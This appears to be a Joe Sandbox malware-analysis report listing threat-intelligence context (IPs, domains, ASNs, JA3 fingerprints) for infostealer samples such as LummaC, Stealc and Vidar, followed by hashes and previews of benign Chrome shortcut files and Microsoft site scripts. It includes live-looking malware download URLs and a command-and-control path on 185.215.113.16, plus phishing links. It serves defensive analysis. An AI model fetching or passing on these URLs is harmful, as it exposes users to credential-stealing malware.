URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=COBYmpzi7q.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.16	iUKUR1nUyD.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	O5Vg1CJsxN.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	y001L6lEK4.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	ElmEHL9kP9.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	xlSzrIs5h6.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	2jx1O1t486.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	fkawMJ7FH8.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc	Browse	185.215.113.16/Jo89Ku7d/index.php
	BVGvbpplT8.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	FBVmDbz2nb.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	Bire1g8ahY.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mindhandru.buzz	dEugughckk.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
mindhandru.buzz	Solara-v3.0.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
s-part-0035.t-0009.t-msedge.net	HVlonDQpuI.exe	Get hash	malicious	Vidar	Browse	13.107.246.63
	Purchase Order No. G02873362-Docx.vbs	Get hash	malicious	LodaRAT, XRed	Browse	13.107.246.63
	blq.exe	Get hash	malicious	Gh0stCringe, RunningRAT, XRed	Browse	13.107.246.63
	https://issuu.com/txbct.com/docs/navex_quote_65169.?fr=xKAE9_zU1NQ	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	New PO - Supplier 0202AW-PER2.exe	Get hash	malicious	LodaRAT, XRed	Browse	13.107.246.63
	aYf5ibGObB.exe	Get hash	malicious	RedLine	Browse	13.107.246.63
	https://u48635528.ct.sendgrid.net/ls/click?upn=u001.9c3qucD-2BQzNTT0bmLRTJr37m0fhz0zdKJtvEO5GYL-2FheRuyVOh-2FQG4V3oBgBPYNynDxn_I1ksFJapfNmw0nKrksu71KTxdlg2CVrjzBUVofCtIEhaWkhL1Pph-2Ffg-2BCFbPvkCL9SX-2Fn-2BNBrku3RcjHS1atB8ladrmemt-2BtQU5680xhgoUl-2FmS0Bdj-2FOfednny-2F-2Bj2bwjjubeRvrpN0J7TGLD3CnNRzymiQOzypjCqxHhzmXtY2EWHJMJBxjl-2FHlyEIekWjEdTpTsRC8R5LaI-2BXF4kV8UeUtXxyFJLbYiR3fqcWt2evvBBECu9MeQj8TLZrmfuTf-2BJQraijp8-2BcIdxf8rnVxjHoJK1lo9-2Bkao444JbRSinVA-2FoUxeuAtdlrITU1Z6gHAn7DLZstY4XJkhkT16-2F2TN4CFt2LQ-2BEh9GWg4EPlocPi8ljTs-2B9D9RVbWdc3s2Vk2VPHSj20oCO3-2FalihBzGJuaYie5tnYaz6wBF3EqNzMXmVqRnMZwSYuGRwSMVhkchytYzt3hUH-2F51IUfn7nuhHUcUbdS8nBYneAMuB2eSDRn8IZzUkExLUascCVn8T9ImEyo0qhVsBPdJjfT9L3qli9clY1N-2BhQXDZgQnsN1Bs9PujeLzem37C62BvWnqPnqvXh5vbcvseiZwTP35DEJysw-3D-3D#mlyon@wc.com	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	Audio02837498.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	gDPzgKHFws.exe	Get hash	malicious	Cryptbot	Browse	13.107.246.63
	Technonomic.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	13.107.246.63

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	iUKUR1nUyD.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	cMTqzvmx9u.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine	Browse	185.215.113.206
	O5Vg1CJsxN.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	y001L6lEK4.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	ElmEHL9kP9.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	xlSzrIs5h6.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	2jx1O1t486.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	fkawMJ7FH8.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc	Browse	185.215.113.206
	BVGvbpplT8.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	FBVmDbz2nb.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
CLOUDFLARENETUS	35K4Py4lii.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	dEugughckk.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	Solara-v3.0.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	1C6ljtnwXP.exe	Get hash	malicious	LummaC	Browse	104.21.80.215
	1C6ljtnwXP.exe	Get hash	malicious	LummaC	Browse	104.21.80.215
	RIMz2N1u5y.exe	Get hash	malicious	LummaC	Browse	172.67.154.166
	HVlonDQpuI.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	5RRVBiCpFI.exe	Get hash	malicious	LummaC	Browse	104.21.42.145
	MPySEh8HaF.exe	Get hash	malicious	LummaC	Browse	172.67.180.113
	Dotc67890990.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.27.85

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	HVlonDQpuI.exe	Get hash	malicious	Vidar	Browse	23.206.229.209
	iUKUR1nUyD.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.206.229.209
	ElmEHL9kP9.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.206.229.209
	https://mandrillapp.com/track/click/30903880/lamp.avocet.io?p=eyJzIjoiM2NCLS1TMlk4RWF3Nl9vVXV4SHlzRDZ5dmJJIiwidiI6MSwicCI6IntcInVcIjozMDkwMzg4MCxcInZcIjoxLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL2xhbXAuYXZvY2V0LmlvXFxcL25ldy11c2VyXCIsXCJpZFwiOlwiMTMxMTQyZmQwMzMxNDA4MWE0YmQyOGYzZDRmYmViYzRcIixcInVybF9pZHNcIjpbXCI0OWFlZTViODJkYzk4NGYxNTg2ZGIzZTYzNGE5ZWUxMDgxYjVmMDY5XCJdfSJ9	Get hash	malicious	Unknown	Browse	23.206.229.209
	gVKsiQIHqe.exe	Get hash	malicious	Vidar	Browse	23.206.229.209
	gVMKOpATpQ.exe	Get hash	malicious	Unknown	Browse	23.206.229.209
	NOTIFICATION_OF_DEPENDANTS.vbs	Get hash	malicious	Unknown	Browse	23.206.229.209
	2AIgdyA1Cl.exe	Get hash	malicious	Stealc, Vidar	Browse	23.206.229.209
	q79Pocl81P.exe	Get hash	malicious	Cryptbot	Browse	23.206.229.209
	ob4eL9Z1O4.exe	Get hash	malicious	Cryptbot	Browse	23.206.229.209
a0e9f5d64349fb13191bc781f81f42e1	35K4Py4lii.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	dEugughckk.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	Solara-v3.0.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	BootStrapper.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	Loader.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	Script.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	1C6ljtnwXP.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	1C6ljtnwXP.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	RIMz2N1u5y.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	5RRVBiCpFI.exe	Get hash	malicious	LummaC	Browse	104.21.11.101

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Dec 26 10:41:55 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9802405872127387
Encrypted:	false
SSDEEP:	48:8rdUTS1yHxidAKZdA1P4ehwiZUklqehty+3:8yu1AOay
MD5:	DFEC55BC55C126C0665D8E42AD2824C4
SHA1:	8BE5D5C28CC39133A9E315E7654523F26C93B823
SHA-256:	ACBF9B03F8303EE8DC820FCAAB400C6D98751A65E5012B8409FA0EC8A8CBEC56
SHA-512:	BD774233CA895D1553AC57DCDA157D376AD992482C4ACF594D2DE81C3F6CEF0DC19447F543550D4177409DB48E3F5FDFC632BBD2B798645C26935DCB5C46317C
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......V.W....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I.Y;]....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y;]....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V.Y;]....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V.Y;].............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.V.Y<]...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............Y2......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Dec 26 10:41:55 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	3.9979641785163493
Encrypted:	false
SSDEEP:	48:8WdUTS1yHxidAKZdA1+4eh/iZUkAQkqehKy+2:8tu1hF9QLy
MD5:	E489C5917C7C2270758B9AE67F105D5C
SHA1:	4D0D3A0624D78FBE11AAC41E6C504998CE73D993
SHA-256:	D8A1BF6DA39CF1F7074756D7606989ADCC1FEE0FBE269B73B5AC7D2FBDA7814E
SHA-512:	C3E5362F73DBCCACD35DFBEE49BC660F8650A9C063C9E14F30AE1860596455597DCC87E8144EA69CEBE742F907A7A0018A5AAA3ACD2F41969E45107164514FFA
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......D.W....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I.Y;]....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y;]....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V.Y;]....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V.Y;].............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.V.Y<]...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............Y2......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 5 07:56:51 2023, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.005145725059915
Encrypted:	false
SSDEEP:	48:8YdUTS1VHxidAKZdA1404eh7sFiZUkmgqeh7sAy+BX:8vu1dInWy
MD5:	349C58DB6980AE0181B488A945CF575F
SHA1:	D7B2E4B52C1B53DB521FA22FD48557DD7F1881AB
SHA-256:	350253CBD321D14C9317CB8EA01DFF9B551276F066678DD7F8BF1A6709632CA8
SHA-512:	A1C328F9BF1E0C39AE50C4750339D68762F99CBFF8DD90C42CBD26B299D28959E9F7D4E89D997F84B5A29059D893FD3B95C3D21061EE941245BB16F973DDD8C7
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....<}.i.....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I.Y;]....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y;]....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V.Y;]....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V.Y;].............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.VEW.F...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............Y2......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Dec 26 10:41:55 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9948769927592043
Encrypted:	false
SSDEEP:	48:8kdUTS1yHxidAKZdA1p4ehDiZUkwqehOy+R:8zu1W5Yy
MD5:	B1A96CF009F4D6727CBD847E032BD120
SHA1:	C362BC44F9ECD43378BCDC4D0E5FB338B79C4E44
SHA-256:	00CAF3844D5D7FC1B3D09330C98F158273B16C964E8F3D934E8D77F12C391C1C
SHA-512:	38FAB35CD0C6E8ED559133BC537CEEE1F788F9A18E755DEAFADE2E4EDEFBD9BC084732944EEAD9DD614355F17916B6907782D84B102EFA4415E8D8AD8EA99DEA
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....c.=.W....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I.Y;]....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y;]....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V.Y;]....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V.Y;].............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.V.Y<]...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............Y2......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Dec 26 10:41:55 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.98433239784359
Encrypted:	false
SSDEEP:	48:86dUTS1yHxidAKZdA1X4ehBiZUk1W1qeh8y+C:8pu1Yb9cy
MD5:	6673F367F968FFCE378D6F17AE6BC47A
SHA1:	BCEBB3C40B33BCAEBC6459CFE363C69F1461C833
SHA-256:	3845F4D8C04E51837CF555C56989E09FE51630D3B4543A5BCEAC53784B0EEA57
SHA-512:	E6E06D01057193C5954ED3D0ECE87202911829767AF48022E1544BA0FA3BAA13AA7BC5BEA67B2E5F978AEBCC3AEE62FED96FE55F3F19BCF6BEB4B92C07F9959A
Malicious:	false
Preview:	L..................F.@.. ...$+.,....q.M.W....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I.Y;]....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y;]....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V.Y;]....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V.Y;].............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.V.Y<]...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............Y2......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Dec 26 10:41:55 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9911450918009255
Encrypted:	false
SSDEEP:	48:8PwdUTS1yHxidAKZdA1duTc4ehOuTbbiZUk5OjqehOuTbWy+yT+:8fu1FTcJTbxWOvTbWy7T
MD5:	3E1654B2286804F3EC359F13BE9C748E
SHA1:	DC66A2695DE51E00E643EA442AB86DEA960540C3
SHA-256:	E23039E9D5C4BD403D5CFD0D72DF370CE2BDA2A5D66578533F34A81DCF685AA3
SHA-512:	85574977733B89E2ACB7E45E439C781272AD1ACE2C26DB99B51427ECA9678EAC5A6F6204931B2DCFF4024EFE62A58AE303077CC511CC65C793E56F793CF15A14
Malicious:	false
Preview:	L..................F.@.. ...$+.,......2.W....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I.Y;]....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y;]....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V.Y;]....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V.Y;].............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.V.Y<]...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............Y2......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.0747157240281755
Encrypted:	false
SSDEEP:	6144:XegPrbKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:1KCerXyUh
MD5:	875E7F3672FEC41DDB5A2386D2331531
SHA1:	282979933E99BDE3A6342DC1EF93FBC51682F2C3
SHA-256:	F205B3CBA340ECB0B5D45E5DE6D385947CC4C21248707A90BFD5894E9B61F3C9
SHA-512:	67A3C1D8FF089E01C20962D96968DE43F3E8D49B474C396F08827EE891C0315693634E663D3148D7441B501EA6939A7D84A80B1E855B7C2A8BCB17E0013AFAD4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
